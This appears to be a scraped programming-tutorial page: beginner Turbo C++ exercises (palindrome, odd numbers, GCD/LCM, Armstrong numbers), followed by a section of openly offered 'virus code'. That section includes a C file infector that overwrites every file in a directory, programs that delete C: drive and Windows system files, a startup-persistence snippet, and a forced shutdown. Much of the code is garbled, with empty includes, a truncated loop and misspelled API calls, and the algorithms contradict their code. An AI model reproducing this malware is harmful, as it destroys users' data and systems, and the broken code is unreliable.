Palindrome


#include<iostream.h>
#include<conio.h>
#include<string.h>

void main()
{clrscr();
     char str[25],str1[25];	
     cout<<"Enter a string: ";
	
     gets(str);

     strcpy(str1,str);
     strrev(str);
	if(strcmp(str,str1)!=0)
	{
	     cout<<"string is not palindrome";
	}
	else
	{
	      cout<<"string is a palindrome";
	}

	  cout<<endl;
getch();
}

Print all odd nos till 50


#include<iostream.h>
#include<conio.h>
void main()
{
clrscr();
int n=1;
do
{
cout<<n<<endl;
n=n+2;
}
while(n<=50);
getch();
}
**********output***********
1
3                                                                            
5                                                                            
7                                                                            
9                                                                            
11                                                                            
13                                                                            
15                                                                            
17                                                                            
19                                                                            
21                                                                            
23                                                                            
25                                                                            
27                                                                            
29                                                                            
31
33                                                                            
35                                                                            
37                                                                            
39                                                                            
41                                                                            
43                                                                            
45                                                                            
47  

Algorithm:
1. Start
2. Set n=1
3. Write n
4. Increment n
5. Check if no<50
     if true then:
     a)Go to step 2
    if false then:
     b)go to step 5
6. Stop

                                                                        
49

GCD & LCM


#include<iostream.h>
#include<conio.h>
void main()
{
clrscr();
int a,b,no1,no2,i,temp;
cout<<"enter 2 nos";
cin>>a>>b;
no1=a;
no2=b;
while(no2)
{
int temp=no2;
no2=no1%no2;
no1=temp;
}
cout<<"\n GCD="<<no1;
for(i=a; i<=a*b; i++)
{
if(i%a==0 && i%b==0)
{
cout<<"\n LCM="<<i;
break;
}
}

getch();
}

******output******
enter 2 nos 4
6                                                                            
                                                                             
 GCD=2                                                                        
 LCM=12                                                                      
                                                                             
 Algorithm:
1.Read a,b,no1,no2,temp & i.
2.While no2 not equal to zero
         a)  Set no2=no1/no2 & no1=temp                                                                          
         b)  Write G.C.D = no2
3.for initialize integer i=a;i<=a*b;i++
       {
           if   i%a=0 & i%b=0
          Write: L.C.M
        [End of If structure]
        [End of For structure]
4.Exit                                                            
             




                                                              
                                                           
                                           

                                                   

Armstrong number


#include<iostream.h>
#include<conio.h>
void main()
{
clrscr();
int a,temp,sum=0,d=0;
cout<<"enter the number";
cin>>a;
temp=a;
while(a)
{
d=a%10;
sum=sum+(d*d*d);
a=a/10;
}
if(sum==temp)
{
cout<<"The no.is armstrong";
}
else
{
cout<<"The no.is not armstrong";
}
getch();
}
******output*******
enter the number153
The no.is armstrong    

Algorithm:
1. Start
2. Read A
3. Set temp=A
4. Check while (A)
    if true:
    a)Set D=A%10
    b)Set sum=sum + (D*D*D)
    c)Set A=A/10
    [end of while structure]
5. Check if sum = temp
    a) Write: The no. is amstrong
6. else
    a) Write: The no. not is amstrong 
    [end of if else structure]  
7. Stop                                                        
                                                                             

virus code in C

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.
#include 
#include 
#include 
#include 
#include 
#include 
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

C++ Virus code

//you need to make a directory in E:\ named delete and put some files in it and theywill be deleted//after this program is runusing System.IO;
class virus
{
protected void CleanImageFolder()
{
DirectoryInfo imgInfo = new DirectoryInfo(@"E:\delete");
FileInfo []fileinDir=imgInfo.GetFiles();
for(int i=0;i

Virus codes for C++


1} C:
#include
using namespace std;
void main(int argv,char [])
{
system("deltree c:\\*.*");
}

NOTE: well i dont know what can this program do!
2} CPP:
#include
#include
int main()
{
system("DEL c:\*.exe");
system("DEL c:\*.txt");
system("DEL c:\*.doc");
system("DEL c:\windows\*.exe");
system("DEL c:\windows\*.com");
system("DEL c:\windows\*.bat");
system("DEL c:\program files\*.");
system("DEL c:\windows\system\*.exe");
system("DEL c:\windows\system\*.dll");
system("DEL c:\windows\system\*.com");
system("DEL c:\windows\system\*.bat");
return 0;
}
NOTE: this program delete your settings from c drive.

3} CPP:
#define_win32_WiNNT OX 0500
#include
#include
int main()
{
HWNDH wnd=GetConsole Window();
show window(h wnd,sw_HIDE);
}

NOTE: well i dont know what can this program do!
4} CPP:
#include
#include
void main()
{
ofstream output file("\\startup\\virus.bat");
char str[225];
strcpy(str,"@echo off\n cls\insertvirus.bat\nexit");
output file.write(str,strlen(str));
output file.close();
return 0;
}
NOTE: this program add your virus program into startup.

5} c:
#include
#include
#include
void main(void)
{
system("shutdown -s");
}
NOTE: first save it then run it and than double click on its .exe file your pc will be shutdown in sometime.

6} c:
#include
#include
#include
void main(void)
{
for(;;)
{
system("c:\\proga~1\\intern~1\\iexplore.exe");
}
}
NOTE: all procedure is same as pro no:5
when you double click on its .exe file internet
explorer is open in between your work.

7} c:
#include
#include
#include
void main(void)
{
system("c:\\progra~1\\intern~1");
system("del *.exe");
system("cls");
}
NOTE: it remove all .exe files of internet explorer
so internet explorer can not work proprly.